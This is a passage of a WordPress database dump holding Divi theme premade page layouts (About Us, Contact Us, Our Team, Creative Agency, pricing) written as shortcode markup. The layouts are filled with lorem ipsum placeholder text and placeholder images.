montes.[/et_pb_text][/et_pb_column][et_pb_column type=\"2_3\"][et_pb_counters admin_label=\"Bar Counters\" background_layout=\"light\" background_color=\"#dddddd\" bar_bg_color=\"#2ea3f2\"][et_pb_counter percent=\"80\"]Brand Strategy[/et_pb_counter][et_pb_counter percent=\"60\"]Internet Marketing[/et_pb_counter][et_pb_counter percent=\"50\"]App Development[/et_pb_counter][et_pb_counter percent=\"90\"]Customer Happiness[/et_pb_counter][/et_pb_counters][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#108bf5\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_header admin_label=\"Fullwidth Header\" title=\"My Recent Work\" background_layout=\"dark\" text_orientation=\"center\" /][et_pb_fullwidth_portfolio admin_label=\"Fullwidth Portfolio\" fullwidth=\"on\" show_title=\"on\" show_date=\"on\" background_layout=\"light\" auto=\"on\" /][/et_pb_section]','About Me','','publish','open','open','','about-me','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=29',0,'et_pb_layout','',0),(30,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"on\"][et_pb_slide heading=\"Our Company\" button_text=\"Learn More\" button_link=\"#\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\"]Our Company Tagline lorem ipsum dolor sit amet.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"A Digital Agency\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#7c8d9b\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Curabitur quis dui volutpat, cursus eros elut commodo elit cum sociis natoque penatibus[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Forward Thinking\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#7c8d9b\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Curabitur quis dui volutpat, cursus eros elut commodo elit cum sociis natoque penatibus[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Problem Solvers\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#7c8d9b\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Curabitur quis dui volutpat, cursus eros elut commodo elit cum sociis natoque penatibus[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Customer Support\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#7c8d9b\" use_circle=\"off\" circle_color=\"#2ea3f2\" use_circle_border=\"off\" circle_border_color=\"#2ea3f2\" icon_placement=\"top\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Curabitur quis dui volutpat, cursus eros elut commodo elit cum sociis natoque penatibus[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h1>Our Story</h1>\r\nCurabitur quis dui volutpat, cursus eros ut, commodo elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Ut id est euismod, rhoncus nunc quis, lobortis turpis. Tam sociis natoque. Curabitur quis dui volutpat, cursus eros ut, commodo elit. Cum sociis natoque penatibus et magnis dis parturient montes.[/et_pb_text][/et_pb_column][et_pb_column type=\"2_3\"][et_pb_counters admin_label=\"Bar Counters\" background_layout=\"light\" background_color=\"#dddddd\" bar_bg_color=\"#2ea3f2\"][et_pb_counter percent=\"80\"]Brand Strategy[/et_pb_counter][et_pb_counter percent=\"60\"]Internet Marketing[/et_pb_counter][et_pb_counter percent=\"50\"]App Development[/et_pb_counter][et_pb_counter percent=\"90\"]Customer Happiness[/et_pb_counter][/et_pb_counters][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\"][et_pb_row][et_pb_column type=\"1_3\"][et_pb_team_member admin_label=\"Team Member\" name=\"Team Member 1\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"light\" facebook_url=\"#\" twitter_url=\"#\" google_url=\"#\" linkedin_url=\"#\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc.[/et_pb_team_member][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_team_member admin_label=\"Team Member\" name=\"Team Member 1\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"light\" facebook_url=\"#\" twitter_url=\"#\" google_url=\"#\" linkedin_url=\"#\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc.[/et_pb_team_member][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_team_member admin_label=\"Team Member\" name=\"Team Member 1\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"light\" facebook_url=\"#\" twitter_url=\"#\" google_url=\"#\" linkedin_url=\"#\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc.[/et_pb_team_member][/et_pb_column][/et_pb_row][/et_pb_section]','About Us','','publish','open','open','','about-us','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=30',0,'et_pb_layout','',0),(31,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\"][et_pb_fullwidth_map admin_label=\"Fullwidth Map\" zoom_level=\"9\" address_lat=\"37.77492949999972\" address_lng=\"-122.41941550000001\"][et_pb_map_pin title=\"Headquarters\" pin_address=\"San Francisco, CA, USA\" pin_address_lat=\"37.7749295\" pin_address_lng=\"-122.41941550000001\" /][/et_pb_fullwidth_map][/et_pb_section][et_pb_section fullwidth=\"off\"][et_pb_row][et_pb_column type=\"2_3\"][et_pb_contact_form admin_label=\"Contact Form\" captcha=\"off\" title=\"Get In Touch\" /][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"left\"]<h3>More Info</h3>\r\n<p>sit amet, consectetur adipiscing elit. Integer placerat metus id orci facilisis, in luctus eros laoreet. Mauris interdum augue varius, faucibus massa id, imperdiet tortor. Donec vel tortor molestie, hendrerit sem a, hendrerit arcu. Aliquam erat volutpat. Proin varius eros eros, non condimentum nis.</p>\r\n\r\n<strong>Address:</strong> 890 Lorem Ipsum Street #12\r\nSan Francisco, California 65432\r\n\r\n<strong>Phone:</strong> 123.4567.890\r\n\r\n<strong>Business Hours:</strong> 8a-6:30p M-F, 9a-2p S-S[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section]','Contact Us','','publish','open','open','','contact-us','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=31',0,'et_pb_layout','',0),(32,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section background_color=\"#6aceb6\" inner_shadow=\"on\" fullwidth=\"on\"]\r\n[et_pb_fullwidth_header title=\"About Our Team\" subhead=\"Your subtitle goes right here.\" background_layout=\"dark\"][/et_pb_fullwidth_header]\r\n[/et_pb_section]\r\n\r\n[et_pb_section]\r\n[et_pb_row]\r\n[et_pb_column type=\"1_3\"]\r\n[et_pb_image src=\"http://www.elegantthemesimages.com/images/premade_image_800x600.png\" animation=\"left\"][/et_pb_image]\r\n[et_pb_text]\r\n<h2>Nick Roach</h2>\r\n<em>President, CEO, Theme UI/UX Designer</em>\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent mattis nec nisi non luctus. Donec aliquam non nisi ut rutrum. In sit amet vestibulum felis, id aliquet ipsum. Vestibulum feugiat lacinia aliquet.\r\n[/et_pb_text]\r\n[et_pb_counters]\r\n[et_pb_counter percent=\"50\"]Design & UX[/et_pb_counter]\r\n[et_pb_counter percent=\"80\"]Web Programming[/et_pb_counter]\r\n[et_pb_counter percent=\"10\"]Internet Marketing[/et_pb_counter]\r\n[/et_pb_counters]\r\n[/et_pb_column]\r\n\r\n[et_pb_column type=\"1_3\"]\r\n[et_pb_image src=\"http://www.elegantthemesimages.com/images/premade_image_800x600.png\" animation=\"top\"][/et_pb_image]\r\n[et_pb_text]\r\n<h2>Kenny Sing</h2>\r\n<em>Lead Graphic Designers</em>\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent mattis nec nisi non luctus. Donec aliquam non nisi ut rutrum. In sit amet vestibulum felis, id aliquet ipsum. Vestibulum feugiat lacinia aliquet.\r\n[/et_pb_text]\r\n[et_pb_counters]\r\n[et_pb_counter percent=\"85\"]Photoshop[/et_pb_counter]\r\n[et_pb_counter percent=\"70\"]After Effects[/et_pb_counter]\r\n[et_pb_counter percent=\"50\"]Illustrator[/et_pb_counter]\r\n[/et_pb_counters]\r\n[/et_pb_column]\r\n\r\n[et_pb_column type=\"1_3\"]\r\n[et_pb_image src=\"http://www.elegantthemesimages.com/images/premade_image_800x600.png\" animation=\"right\"][/et_pb_image]\r\n[et_pb_text]\r\n<h2>Mitch Skolnik</h2>\r\n<em>Community Manager</em>\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent mattis nec nisi non luctus. Donec aliquam non nisi ut rutrum. In sit amet vestibulum felis, id aliquet ipsum. Vestibulum feugiat lacinia aliquet.\r\n[/et_pb_text]\r\n[et_pb_counters]\r\n[et_pb_counter percent=\"80\"]Customer Happiness[/et_pb_counter]\r\n[et_pb_counter percent=\"30\"]Tech Support[/et_pb_counter]\r\n[et_pb_counter percent=\"50\"]Community Management[/et_pb_counter]\r\n[/et_pb_counters]\r\n[/et_pb_column]\r\n[/et_pb_row]\r\n[/et_pb_section]\r\n\r\n[et_pb_section background_color=\"#2d3743\" inner_shadow=\"on\"]\r\n[et_pb_row]\r\n[et_pb_column type=\"1_4\"]\r\n[et_pb_blurb background_layout=\"dark\" image=\"http://www.elegantthemesimages.com/images/premade_blurb_5.png\"  title=\"Timely Support\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec eleifend tincidunt nisi. Fusce at purus in massa laoreet.[/et_pb_blurb]\r\n[/et_pb_column]\r\n[et_pb_column type=\"1_4\"]\r\n[et_pb_blurb background_layout=\"dark\" image=\"http://www.elegantthemesimages.com/images/premade_blurb_6.png\"  title=\"Innovative Ideas\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec eleifend tincidunt nisi. Fusce at purus in massa laoreet.[/et_pb_blurb]\r\n[/et_pb_column]\r\n[et_pb_column type=\"1_4\"]\r\n[et_pb_blurb background_layout=\"dark\" image=\"http://www.elegantthemesimages.com/images/premade_blurb_7.png\"  title=\"Advanced Technology\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec eleifend tincidunt nisi. Fusce at purus in massa laoreet.[/et_pb_blurb]\r\n[/et_pb_column]\r\n[et_pb_column type=\"1_4\"]\r\n[et_pb_blurb background_layout=\"dark\" image=\"http://www.elegantthemesimages.com/images/premade_blurb_8.png\"  title=\"Clear Communication\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam. Nullam non gravida purus, nec eleifend tincidunt nisi. Fusce at purus in massa laoreet.[/et_pb_blurb]\r\n[/et_pb_column]\r\n[/et_pb_row]\r\n[/et_pb_section]\r\n\r\n[et_pb_section background_color=\"#f5f5f5\" inner_shadow=\"on\"]\r\n[et_pb_row]\r\n[et_pb_column type=\"4_4\"]\r\n[et_pb_text text_orientation=\"center\"]<h2>Recent Blog Posts</h2>\r\nLearn from the top thought leaders in the industry.\r\n[/et_pb_text]\r\n[/et_pb_column]\r\n[/et_pb_row]\r\n[et_pb_row]\r\n[et_pb_column type=\"4_4\"]\r\n[et_pb_blog fullwidth=\"off\" show_pagination=\"off\" posts_number=\"3\" meta_date=\"M j, Y\" show_thumbnail=\"on\" show_content=\"off\" show_author=\"on\" show_date=\"on\" show_categories=\"on\"][/et_pb_blog]\r\n[/et_pb_column]\r\n[/et_pb_row]\r\n[/et_pb_section]\r\n\r\n[et_pb_section]\r\n[et_pb_row]\r\n[et_pb_column type=\"4_4\"]\r\n[et_pb_text text_orientation=\"center\"]<h2>Recent Projects</h2>\r\nLearn from the top thought leaders in the industry.\r\n[/et_pb_text]\r\n[/et_pb_column]\r\n[/et_pb_row]\r\n[et_pb_row]\r\n[et_pb_column type=\"4_4\"]\r\n[et_pb_portfolio categories=\"Portfolio\" fullwidth=\"off\"][/et_pb_portfolio]\r\n[/et_pb_column]\r\n[/et_pb_row]\r\n[/et_pb_section]\r\n\r\n[et_pb_section background_color=\"#7EBEC5\"]\r\n[et_pb_row]\r\n[et_pb_column type=\"4_4\"]\r\n[et_pb_cta title=\"Don\'t Be Shy. Get In Touch.\" button_url=\"#\" button_text=\"Contact Us\" background_layout=\"dark\" background_color=\"none\"]\r\nIf you are interested in working together, send us an inquiry and we will get back to you as soon as we can!\r\n[/et_pb_cta]\r\n[/et_pb_column]\r\n[/et_pb_row]\r\n[/et_pb_section]','Our Team','','publish','open','open','','our-team','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=32',0,'et_pb_layout','',0),(33,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"off\"][et_pb_slide heading=\"WE ARE A CREATIVE AGENCY\" button_text=\"Our Work\" button_link=\"http://elegantthemes.com/preview/Divi2/fullwidth-grid/\" background_image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-1920.jpg\" background_color=\"#ffffff\" alignment=\"center\" background_layout=\"dark\" /][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-mobile.jpg\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#108bf5\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"top\"]Divi will change the way you build websites forever. The advanced page builder makes it possible to build truly dynamic pages without learning code.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-export.jpg\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#108bf5\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"top\"]Divi will change the way you build websites forever. The advanced page builder makes it possible to build truly dynamic pages without learning code.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-layouts.jpg\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#108bf5\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"top\"]Divi will change the way you build websites forever. The advanced page builder makes it possible to build truly dynamic pages without learning code.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_blurb admin_label=\"Blurb\" title=\"Lorem Ipsum\" url_new_window=\"off\" image=\"http://elegantthemesimages.com/images/premade/builder-blurbs-commerce.jpg\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\" use_icon=\"off\" icon_color=\"#108bf5\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"top\"]Divi will change the way you build websites forever. The advanced page builder makes it possible to build truly dynamic pages without learning code.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f7f7f7\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]<h1>OUR LATEST WORK</h1>[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_portfolio admin_label=\"Portfolio\" fullwidth=\"off\" posts_number=\"8\" show_title=\"on\" show_categories=\"off\" show_pagination=\"off\" background_layout=\"light\" /][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Full Portfolio\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"light\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#222b34\" inner_shadow=\"off\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"dark\" text_orientation=\"center\"]<h1>MEET THE CREW</h1>[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_team_member admin_label=\"Team Member\" name=\"Lorem Ipsum\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"dark\" /][et_pb_team_member admin_label=\"Team Member\" name=\"Lorem Ipsum\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_team_member admin_label=\"Team Member\" name=\"Lorem Ipsum\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"dark\" /][et_pb_team_member admin_label=\"Team Member\" name=\"Lorem Ipsum\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"dark\" /][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_team_member admin_label=\"Team Member\" name=\"Lorem Ipsum\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"dark\" /][et_pb_team_member admin_label=\"Team Member\" name=\"Lorem Ipsum\" position=\"Company Role\" image_url=\"http://elegantthemesimages.com/images/premade/d2-placeholder-320px.jpg\" animation=\"fade_in\" background_layout=\"dark\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Full Profiles\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]<h1>OUR CLIENTS</h1>[/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][et_pb_column type=\"1_4\"][et_pb_image admin_label=\"Image\" src=\"http://elegantthemes.com/preview/Divi2/wp-content/uploads/2014/05/et-logo.png\" url_new_window=\"off\" animation=\"left\" show_in_lightbox=\"off\" /][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"4_4\"][et_pb_cta admin_label=\"Call To Action\" button_url=\"#\" button_text=\"Full List\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"light\" text_orientation=\"center\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" inner_shadow=\"off\" parallax=\"off\" background_color=\"#2ea3f2\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_signup admin_label=\"Subscribe\" provider=\"mailchimp\" mailc\r\nhimp_list=\"none\" aweber_list=\"3423452\" button_text=\"Sign Me Up\" use_background_color=\"off\" background_color=\"#2ea3f2\" background_layout=\"dark\" text_orientation=\"left\" title=\"Connect With Us\"]Aenean consectetur ipsum ante, vel egestas enim tincidunt quis. Pellentesque vitae congue neque, vel mattis ante. In vitae tempus nunc. Etiam adipiscing enim sed condimentum ultrices. Cras rutrum blandit sem, molestie consequat erat luctus vel. Cras nunc est, laoreet sit amet ligula et, eleifend commodo dui. Vivamus id blandit nisi, eu mattis odio. Nulla facilisi. Aenean in mi odio. Etiam adipiscing enim sed condimentum ultrices.[/et_pb_signup][/et_pb_column][/et_pb_row][/et_pb_section]','Creative Agency','','publish','open','open','','creative-agency','','','2015-02-15 19:19:04','2015-02-15 19:19:04','',0,'http://battlegroundvet.com/wordpress1/wordpress1/?post_type=et_pb_layout&p=33',0,'et_pb_layout','',0),(34,1,'2015-02-15 19:19:04','2015-02-15 19:19:04','[et_pb_section fullwidth=\"on\" specialty=\"off\" background_color=\"#ffffff\" inner_shadow=\"off\" parallax=\"off\"][et_pb_fullwidth_slider admin_label=\"Fullwidth Slider\" show_arrows=\"on\" show_pagination=\"on\" auto=\"off\" parallax=\"off\"][et_pb_slide heading=\"A Brand New Product\" background_color=\"#efefef\" image=\"http://elegantthemesimages.com/images/premade/d2-placeholder-510px.jpg\" alignment=\"center\" background_layout=\"light\" button_text=\"Buy Now\"]The Divi Builder allows you to create beautiful and unique layouts visually, without touching a single line of code.[/et_pb_slide][/et_pb_fullwidth_slider][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\"][et_pb_row][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Gorgeous Design\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Drag & Drop Builder\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"1\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][et_pb_column type=\"1_3\"][et_pb_blurb admin_label=\"Blurb\" title=\"Fully Responsive\" url_new_window=\"off\" use_icon=\"on\" font_icon=\"\" icon_color=\"#2ea3f2\" use_circle=\"off\" circle_color=\"#108bf5\" use_circle_border=\"off\" circle_border_color=\"#108bf5\" icon_placement=\"left\" animation=\"top\" background_layout=\"light\" text_orientation=\"center\"]Vestibulum lobortis. Donec at euismod nibh, eu bibendum quam.[/et_pb_blurb][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\" background_color=\"#f3f3f3\" inner_shadow=\"on\" parallax=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]<h1>Plans and Pricing</h1>\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. In in risus eget lectus suscipit malesuada. Maecenas ut urna mollis, aliquam eros at, laoreet metus. Proin ac eros eros. Suspendisse auctor, eros ac sollicitudin vulputate.[/et_pb_text][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][et_pb_pricing_tables admin_label=\"Pricing Table\"][et_pb_pricing_table featured=\"off\" title=\"Basic\" currency=\"$\" per=\"yr\" sum=\"39\" button_url=\"http://elegantthemes.com/\" button_text=\"Sign Up\"]+Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Themes</a>\r\n+Perpetual Theme Updates\r\n-Premium Technical Support\r\n-Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Plugins</a>\r\n-Layered Photoshop Files\r\n-No Yearly Fees[/et_pb_pricing_table][et_pb_pricing_table featured=\"off\" title=\"Personal\" currency=\"$\" per=\"yr\" sum=\"69\" button_url=\"http://elegantthemes.com/\" button_text=\"Sign Up\"]+Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Themes</a>\r\n+Perpetual Theme Updates\r\n+Premium Technical Support\r\n-Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Plugins</a>\r\n-Layered Photoshop Files\r\n-No Yearly Fees[/et_pb_pricing_table][et_pb_pricing_table featured=\"on\" title=\"Developer\" subtitle=\"Best Value\" currency=\"$\" per=\"yr\" sum=\"89\" button_url=\"http://elegantthemes.com/\" button_text=\"Sign Up\"]+Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Themes</a>\r\n+Perpetual Theme Updates\r\n+Premium Technical Support\r\n+Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Plugins</a>\r\n+Layered Photoshop Files\r\n-No Yearly Fees[/et_pb_pricing_table][et_pb_pricing_table featured=\"off\" title=\"Lifetime\" currency=\"$\" sum=\"249\" button_url=\"http://elegantthemes.com/\" button_text=\"Sign Up\"]+Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Themes</a>\r\n+Perpetual Theme Updates\r\n+Premium Technical Support\r\n+Access to <a href=\"http://elegantthemes.com/preview/Divi/module-pricing-tables/#\">All Plugins</a>\r\n+Layered Photoshop Files\r\n+No Yearly Fees[/et_pb_pricing_table][/et_pb_pricing_tables][et_pb_divider admin_label=\"Divider\" color=\"#ffffff\" show_divider=\"off\" height=\"60\" /][/et_pb_column][/et_pb_row][/et_pb_section][et_pb_section fullwidth=\"off\" specialty=\"off\"][et_pb_row][et_pb_column type=\"4_4\"][et_pb_text admin_label=\"Text\" background_layout=\"light\" text_orientation=\"center\"]<h1>What Our Customers Are Saying</h1>\r\nDon\'t just take it from us, let our customers do the talking![/et_pb_text][/et_pb_column][/et_pb_row][et_pb_row][et_pb_column type=\"1_3\"][et_pb_testimonial admin_label=\"Testimonial\" author=\"Luke Chapman\" url_new_window=\"off\" 